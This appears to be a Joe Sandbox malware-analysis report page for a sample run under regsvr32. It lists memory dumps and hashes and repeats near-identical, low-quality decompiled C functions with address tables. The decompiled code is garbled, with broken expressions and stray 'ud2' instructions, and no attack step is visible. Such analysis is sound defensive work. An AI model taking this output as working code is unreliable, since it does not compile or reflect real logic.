Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6cd9ce37ec5bd4f58a4b671ac2eea42222e0a7932ecc18c57fdaf3d3e49e8e
Instruction ID: 73de4dee42cae1cb9adb35e63a5ea9919a89167efafefd72c94c8ae2cec0c289
Opcode Fuzzy Hash: 8d6cd9ce37ec5bd4f58a4b671ac2eea42222e0a7932ecc18c57fdaf3d3e49e8e
Instruction Fuzzy Hash: 3441BF23B01A5489EF15DE26C9502AD3760F785F98F98852BEE8E63794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 004086DC Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E004086DC(signed char __ebx, void* __edx, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t43;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t53;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed char* _t82;
				signed char* _t86;
				signed char* _t89;
				intOrPtr* _t91;
				signed int* _t92;
				void* _t93;
				void* _t94;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				void* _t106;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr* _t129;
				void* _t131;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;

				_t125 = __r9;
				_t123 = __r8;
				_t106 = __rdx;
				_t92 = __rbx;
				_t48 = __edx;
				_t42 = __ebx;
				_t35 = E00401F90(_t43, __edx, _t53, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t115 = __rax;
				_t76 =  *((intOrPtr*)(_t117 + 0x10));
				if(_t76 >= 0x10) {
					_t105 =  *((intOrPtr*)(_t117 - 8));
					_t76 = _t76 + 1;
					_t55 = _t76 - 0x1000;
					if(_t76 >= 0x1000) {
						_t105 =  *((intOrPtr*)(_t105 - 8));
					}
					_t35 = E00402090(_t35, _t105);
				}
				_t97 = _t115;
				_t36 = E0044CEA0(_t35, _t115);
				asm("ud2");
				 *_t92 =  *_t92 ^ _t42;
				 *_t123 =  *_t123 + r8b;
				 *_t76 =  *_t76 + _t36;
				 *((intOrPtr*)(_t76 - 0x6f6f6f70)) =  *((intOrPtr*)(_t76 - 0x6f6f6f70)) + _t48;
				_t121 = _t120 - 0x68;
				_t118 = _t121 + 0x60;
				_t129 = _t125;
				_t137 = _t123;
				_t77 =  *((intOrPtr*)(_t118 + 0x70));
				 *((intOrPtr*)(_t118 + 4)) = 0;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x40))));
				 *((long long*)(_t118 - 8)) = _t98;
				 *((intOrPtr*)( *_t98 + 0x10))(_t92, _t112, _t115, _t128, _t131, _t133, _t136, _t117);
				 *((long long*)(_t121 + 0x28)) = _t118 - 8;
				 *((intOrPtr*)(_t121 + 0x20)) =  *((intOrPtr*)(_t77 + 0x18));
				_t93 = _t118 - 0x30;
				_t124 = _t137;
				_t49 = L00409A20(_t42, _t43, _t48, _t55, _t118 - 8, _t93, _t93, _t97, _t115, _t137, _t129, _t129, _t131, _t106, _t137);
				_t100 =  *((intOrPtr*)(_t118 - 8));
				if(_t100 != 0) {
					_t91 =  *_t100;
					 *((intOrPtr*)(_t91 + 0x18))();
					if(_t91 != 0) {
						 *((intOrPtr*)( *_t91 + 8))();
					}
				}
				_t94 =  ==  ? _t118 - 0x2f : _t93;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t118 - 0x2f, _t94, _t118 - 0x10, _t124, _t118 + 4);
				r13d = _t39;
				_t102 =  *_t137;
				_t52 = 0;
				_t50 = 0;
				if(_t102 != 0) {
					_t89 =  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x38))));
					if(_t89 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t102 + 0x38))();
					} else {
						_t39 =  *_t89 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t103 =  *_t129;
				if(_t103 != 0) {
					_t86 =  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x38))));
					if(_t86 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t103 + 0x38))();
					} else {
						_t39 =  *_t86 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t82 =  *((intOrPtr*)(_t118 + 0x78));
				if(_t50 == _t52) {
					 *_t82 =  *_t82 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t118 - 0x10)) == _t94 ||  *((intOrPtr*)(_t118 + 4)) != 0) {
					 *_t82 =  *_t82 | 0x00000002;
					__eflags =  *_t82;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t118 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x004086dc
0x004086dc
0x004086dc
0x004086dc
0x004086dc
0x004086dc
0x00408709
0x0040870e
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca47fb88377fa07ee967e96a1246a2adee545337b2652023bfe37a2ece56863
Instruction ID: 73de4dee42cae1cb9adb35e63a5ea9919a89167efafefd72c94c8ae2cec0c289
Opcode Fuzzy Hash: bca47fb88377fa07ee967e96a1246a2adee545337b2652023bfe37a2ece56863
Instruction Fuzzy Hash: 3441BF23B01A5489EF15DE26C9502AD3760F785F98F98852BEE8E63794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 004086DE Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E004086DE(signed char __ebx, void* __edx, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t43;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t53;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed char* _t82;
				signed char* _t86;
				signed char* _t89;
				intOrPtr* _t91;
				signed int* _t92;
				void* _t93;
				void* _t94;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				void* _t106;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr* _t129;
				void* _t131;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;

				_t125 = __r9;
				_t123 = __r8;
				_t106 = __rdx;
				_t92 = __rbx;
				_t48 = __edx;
				_t42 = __ebx;
				_t35 = E00401F90(_t43, __edx, _t53, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t115 = __rax;
				_t76 =  *((intOrPtr*)(_t117 + 0x10));
				if(_t76 >= 0x10) {
					_t105 =  *((intOrPtr*)(_t117 - 8));
					_t76 = _t76 + 1;
					_t55 = _t76 - 0x1000;
					if(_t76 >= 0x1000) {
						_t105 =  *((intOrPtr*)(_t105 - 8));
					}
					_t35 = E00402090(_t35, _t105);
				}
				_t97 = _t115;
				_t36 = E0044CEA0(_t35, _t115);
				asm("ud2");
				 *_t92 =  *_t92 ^ _t42;
				 *_t123 =  *_t123 + r8b;
				 *_t76 =  *_t76 + _t36;
				 *((intOrPtr*)(_t76 - 0x6f6f6f70)) =  *((intOrPtr*)(_t76 - 0x6f6f6f70)) + _t48;
				_t121 = _t120 - 0x68;
				_t118 = _t121 + 0x60;
				_t129 = _t125;
				_t137 = _t123;
				_t77 =  *((intOrPtr*)(_t118 + 0x70));
				 *((intOrPtr*)(_t118 + 4)) = 0;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x40))));
				 *((long long*)(_t118 - 8)) = _t98;
				 *((intOrPtr*)( *_t98 + 0x10))(_t92, _t112, _t115, _t128, _t131, _t133, _t136, _t117);
				 *((long long*)(_t121 + 0x28)) = _t118 - 8;
				 *((intOrPtr*)(_t121 + 0x20)) =  *((intOrPtr*)(_t77 + 0x18));
				_t93 = _t118 - 0x30;
				_t124 = _t137;
				_t49 = L00409A20(_t42, _t43, _t48, _t55, _t118 - 8, _t93, _t93, _t97, _t115, _t137, _t129, _t129, _t131, _t106, _t137);
				_t100 =  *((intOrPtr*)(_t118 - 8));
				if(_t100 != 0) {
					_t91 =  *_t100;
					 *((intOrPtr*)(_t91 + 0x18))();
					if(_t91 != 0) {
						 *((intOrPtr*)( *_t91 + 8))();
					}
				}
				_t94 =  ==  ? _t118 - 0x2f : _t93;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t118 - 0x2f, _t94, _t118 - 0x10, _t124, _t118 + 4);
				r13d = _t39;
				_t102 =  *_t137;
				_t52 = 0;
				_t50 = 0;
				if(_t102 != 0) {
					_t89 =  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x38))));
					if(_t89 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t102 + 0x38))();
					} else {
						_t39 =  *_t89 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t103 =  *_t129;
				if(_t103 != 0) {
					_t86 =  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x38))));
					if(_t86 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t103 + 0x38))();
					} else {
						_t39 =  *_t86 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t82 =  *((intOrPtr*)(_t118 + 0x78));
				if(_t50 == _t52) {
					 *_t82 =  *_t82 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t118 - 0x10)) == _t94 ||  *((intOrPtr*)(_t118 + 4)) != 0) {
					 *_t82 =  *_t82 | 0x00000002;
					__eflags =  *_t82;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t118 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x004086de
0x004086de
0x004086de
0x004086de
0x004086de
0x004086de
0x00408709
0x0040870e
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b102effbea3a9c24bc70feaa1190add6655af90f643631e672919744ea8a4c1
Instruction ID: 73de4dee42cae1cb9adb35e63a5ea9919a89167efafefd72c94c8ae2cec0c289
Opcode Fuzzy Hash: 1b102effbea3a9c24bc70feaa1190add6655af90f643631e672919744ea8a4c1
Instruction Fuzzy Hash: 3441BF23B01A5489EF15DE26C9502AD3760F785F98F98852BEE8E63794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 004086E0 Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E004086E0(signed char __ebx, void* __edx, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t43;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t53;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed char* _t82;
				signed char* _t86;
				signed char* _t89;
				intOrPtr* _t91;
				signed int* _t92;
				void* _t93;
				void* _t94;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				void* _t106;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr* _t129;
				void* _t131;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;

				_t125 = __r9;
				_t123 = __r8;
				_t106 = __rdx;
				_t92 = __rbx;
				_t48 = __edx;
				_t42 = __ebx;
				_t35 = E00401F90(_t43, __edx, _t53, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t115 = __rax;
				_t76 =  *((intOrPtr*)(_t117 + 0x10));
				if(_t76 >= 0x10) {
					_t105 =  *((intOrPtr*)(_t117 - 8));
					_t76 = _t76 + 1;
					_t55 = _t76 - 0x1000;
					if(_t76 >= 0x1000) {
						_t105 =  *((intOrPtr*)(_t105 - 8));
					}
					_t35 = E00402090(_t35, _t105);
				}
				_t97 = _t115;
				_t36 = E0044CEA0(_t35, _t115);
				asm("ud2");
				 *_t92 =  *_t92 ^ _t42;
				 *_t123 =  *_t123 + r8b;
				 *_t76 =  *_t76 + _t36;
				 *((intOrPtr*)(_t76 - 0x6f6f6f70)) =  *((intOrPtr*)(_t76 - 0x6f6f6f70)) + _t48;
				_t121 = _t120 - 0x68;
				_t118 = _t121 + 0x60;
				_t129 = _t125;
				_t137 = _t123;
				_t77 =  *((intOrPtr*)(_t118 + 0x70));
				 *((intOrPtr*)(_t118 + 4)) = 0;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x40))));
				 *((long long*)(_t118 - 8)) = _t98;
				 *((intOrPtr*)( *_t98 + 0x10))(_t92, _t112, _t115, _t128, _t131, _t133, _t136, _t117);
				 *((long long*)(_t121 + 0x28)) = _t118 - 8;
				 *((intOrPtr*)(_t121 + 0x20)) =  *((intOrPtr*)(_t77 + 0x18));
				_t93 = _t118 - 0x30;
				_t124 = _t137;
				_t49 = L00409A20(_t42, _t43, _t48, _t55, _t118 - 8, _t93, _t93, _t97, _t115, _t137, _t129, _t129, _t131, _t106, _t137);
				_t100 =  *((intOrPtr*)(_t118 - 8));
				if(_t100 != 0) {
					_t91 =  *_t100;
					 *((intOrPtr*)(_t91 + 0x18))();
					if(_t91 != 0) {
						 *((intOrPtr*)( *_t91 + 8))();
					}
				}
				_t94 =  ==  ? _t118 - 0x2f : _t93;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t118 - 0x2f, _t94, _t118 - 0x10, _t124, _t118 + 4);
				r13d = _t39;
				_t102 =  *_t137;
				_t52 = 0;
				_t50 = 0;
				if(_t102 != 0) {
					_t89 =  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x38))));
					if(_t89 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t102 + 0x38))();
					} else {
						_t39 =  *_t89 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t103 =  *_t129;
				if(_t103 != 0) {
					_t86 =  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x38))));
					if(_t86 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t103 + 0x38))();
					} else {
						_t39 =  *_t86 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t82 =  *((intOrPtr*)(_t118 + 0x78));
				if(_t50 == _t52) {
					 *_t82 =  *_t82 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t118 - 0x10)) == _t94 ||  *((intOrPtr*)(_t118 + 4)) != 0) {
					 *_t82 =  *_t82 | 0x00000002;
					__eflags =  *_t82;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t118 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x004086e0
0x004086e0
0x004086e0
0x004086e0
0x004086e0
0x004086e0
0x00408709
0x0040870e
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b86eea70f5bfbac89907c20cfcbafc9f0015c8a9167e9f5070a6e17e1adf48c
Instruction ID: 73de4dee42cae1cb9adb35e63a5ea9919a89167efafefd72c94c8ae2cec0c289
Opcode Fuzzy Hash: 6b86eea70f5bfbac89907c20cfcbafc9f0015c8a9167e9f5070a6e17e1adf48c
Instruction Fuzzy Hash: 3441BF23B01A5489EF15DE26C9502AD3760F785F98F98852BEE8E63794DF3CC982C304

Uniqueness

Uniqueness Score: -1.00%

Function 00408704 Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00408704(signed char __ebx, void* __ecx, void* __edx, void* __eflags, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed char* _t82;
				signed char* _t86;
				signed char* _t89;
				intOrPtr* _t91;
				signed int* _t92;
				void* _t93;
				void* _t94;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				void* _t106;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr* _t129;
				void* _t131;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;

				_t125 = __r9;
				_t123 = __r8;
				_t106 = __rdx;
				_t92 = __rbx;
				_t48 = __edx;
				_t43 = __ecx;
				_t42 = __ebx;
				_t35 = E00401F90(__ecx, __edx, __eflags, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t115 = __rax;
				_t76 =  *((intOrPtr*)(_t117 + 0x10));
				if(_t76 >= 0x10) {
					_t105 =  *((intOrPtr*)(_t117 - 8));
					_t76 = _t76 + 1;
					_t55 = _t76 - 0x1000;
					if(_t76 >= 0x1000) {
						_t105 =  *((intOrPtr*)(_t105 - 8));
					}
					_t35 = E00402090(_t35, _t105);
				}
				_t97 = _t115;
				_t36 = E0044CEA0(_t35, _t115);
				asm("ud2");
				 *_t92 =  *_t92 ^ _t42;
				 *_t123 =  *_t123 + r8b;
				 *_t76 =  *_t76 + _t36;
				 *((intOrPtr*)(_t76 - 0x6f6f6f70)) =  *((intOrPtr*)(_t76 - 0x6f6f6f70)) + _t48;
				_t121 = _t120 - 0x68;
				_t118 = _t121 + 0x60;
				_t129 = _t125;
				_t137 = _t123;
				_t77 =  *((intOrPtr*)(_t118 + 0x70));
				 *((intOrPtr*)(_t118 + 4)) = 0;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x40))));
				 *((long long*)(_t118 - 8)) = _t98;
				 *((intOrPtr*)( *_t98 + 0x10))(_t92, _t112, _t115, _t128, _t131, _t133, _t136, _t117);
				 *((long long*)(_t121 + 0x28)) = _t118 - 8;
				 *((intOrPtr*)(_t121 + 0x20)) =  *((intOrPtr*)(_t77 + 0x18));
				_t93 = _t118 - 0x30;
				_t124 = _t137;
				_t49 = L00409A20(_t42, _t43, _t48, _t55, _t118 - 8, _t93, _t93, _t97, _t115, _t137, _t129, _t129, _t131, _t106, _t137);
				_t100 =  *((intOrPtr*)(_t118 - 8));
				if(_t100 != 0) {
					_t91 =  *_t100;
					 *((intOrPtr*)(_t91 + 0x18))();
					if(_t91 != 0) {
						 *((intOrPtr*)( *_t91 + 8))();
					}
				}
				_t94 =  ==  ? _t118 - 0x2f : _t93;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t118 - 0x2f, _t94, _t118 - 0x10, _t124, _t118 + 4);
				r13d = _t39;
				_t102 =  *_t137;
				_t52 = 0;
				_t50 = 0;
				if(_t102 != 0) {
					_t89 =  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x38))));
					if(_t89 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t102 + 0x38))();
					} else {
						_t39 =  *_t89 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t103 =  *_t129;
				if(_t103 != 0) {
					_t86 =  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x38))));
					if(_t86 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t103 + 0x38))();
					} else {
						_t39 =  *_t86 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t82 =  *((intOrPtr*)(_t118 + 0x78));
				if(_t50 == _t52) {
					 *_t82 =  *_t82 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t118 - 0x10)) == _t94 ||  *((intOrPtr*)(_t118 + 4)) != 0) {
					 *_t82 =  *_t82 | 0x00000002;
					__eflags =  *_t82;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t118 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x00408704
0x00408704
0x00408704
0x00408704
0x00408704
0x00408704
0x00408704
0x00408709
0x0040870e
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
